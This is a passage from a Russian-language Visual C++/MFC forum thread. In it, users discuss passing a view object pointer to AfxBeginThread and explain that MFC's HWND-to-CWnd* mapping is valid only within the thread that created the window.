Цитата(KEHT @  26.9.2008,  17:38 Найти цитируемый пост)
Господа, помоему я решил проблему, передав в функцию AfxBeginThread 2ым параметром указатель на класс нужного мне объекта вид

и вообщем-то подругому никак.
маппинг HWND -> CWnd* существует только в пределах одного потока. т.е. если окно создано в одном потоке, а указатель на класс пытаетесь получить в другом потоке, то будет или что попало или 0

Это сообщение отредактировал(а) korian – 27.9.2008, 14:30

PM   Вверх
KEHT
Дата 27.9.2008, 19:43 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

korian
Спасибо за разъяснение.

PM MAIL   Вверх



















Страницы: (2) [Все] 1 2 

Ответ в темуСоздание новой темы
Создание опроса
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Visual C++/MFC/WTL | Следующая тема »

Добавить комментарий